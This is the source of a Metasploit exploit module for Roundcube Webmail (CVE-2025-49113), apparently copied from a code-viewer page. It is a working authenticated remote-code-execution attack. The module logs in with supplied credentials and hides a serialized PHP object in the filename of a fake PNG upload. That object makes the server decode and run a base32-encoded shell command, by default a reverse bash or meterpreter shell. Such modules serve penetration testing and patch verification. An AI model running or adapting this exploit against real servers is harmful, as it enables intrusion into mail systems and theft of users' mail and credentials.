1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization', 'Description' => %q{ Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. An attacker can execute arbitrary system commands as the web server. }, 'Author' => [ 'Maksim Rogov', # msf module 'Kirill Firsov', # disclosure and original exploit ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-49113'], ['URL', 'https://fearsoff.org/research/roundcube'] ], 'DisclosureDate' => '2025-06-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('USERNAME', [true, 'Email User to login with', '' ]), OptString.new('PASSWORD', [true, 'Password to login with', '' ]), OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]), OptString.new('HOST', [false, 'The hostname of Roundcube server', '']) ] ) end class PhpPayloadBuilder def initialize(command) @encoded = Rex::Text.encode_base32(command) @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#) end def build len = @gpgconf.bytesize %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};) end end def fetch_login_page res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { '_task' => 'login' } ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 res end def check res = fetch_login_page unless res.body =~ /"rcversion"\s*:\s*(\d+)/ fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number") end version = Rex::Version.new(Regexp.last_match(1).to_s) print_good("Extracted version: #{version}") if version.between?(Rex::Version.new(10100), Rex::Version.new(10509)) return CheckCode::Appears elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610)) return CheckCode::Appears end CheckCode::Safe end def build_serialized_payload print_status('Preparing payload...') stager = case target['Type'] when :nix_cmd payload.encoded when :linux_dropper generate_cmdstager.join(';') else fail_with(Failure::BadConfig, 'Unsupported target type') end serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"') print_good('Payload successfully generated and serialized.') serialized end def exploit token = fetch_csrf_token login(token) payload_serialized = build_serialized_payload upload_payload(payload_serialized) end def fetch_csrf_token print_status('Fetching CSRF token...') res = fetch_login_page html = res.get_html_document token_input = html.at('input[name="_token"]') unless token_input fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") end token = token_input.attributes.fetch('value', nil) if token.blank? fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") end print_good("Extracted token: #{token}") token end def login(token) print_status('Attempting login...') vars_post = { '_token' => token, '_task' => 'login', '_action' => 'login', '_url' => '_task=login', '_user' => datastore['USERNAME'], '_pass' => datastore['PASSWORD'] } vars_post['_host'] = datastore['HOST'] if datastore['HOST'] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => vars_post, 'vars_get' => { '_task' => 'login' } ) fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302 print_good('Login successful.') end def generate_from options = [ 'compose', 'reply', 'import', 'settings', 'folders', 'identity' ] options.sample end def generate_id random_data = SecureRandom.random_bytes(8) timestamp = Time.now.to_f.to_s Digest::MD5.hexdigest(random_data + timestamp) end def generate_uploadid millis = (Time.now.to_f * 1000).to_i "upload#{millis}" end def upload_payload(payload_filename) print_status('Uploading malicious payload...') # 1x1 transparent pixel image png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==') boundary = Rex::Text.rand_text_alphanumeric(8) data = '' data << "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n" data << "Content-Type: image/png\r\n\r\n" data << png_data data << "\r\n--#{boundary}--\r\n" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }) print_good('Exploit attempt complete. Check for session.') end end |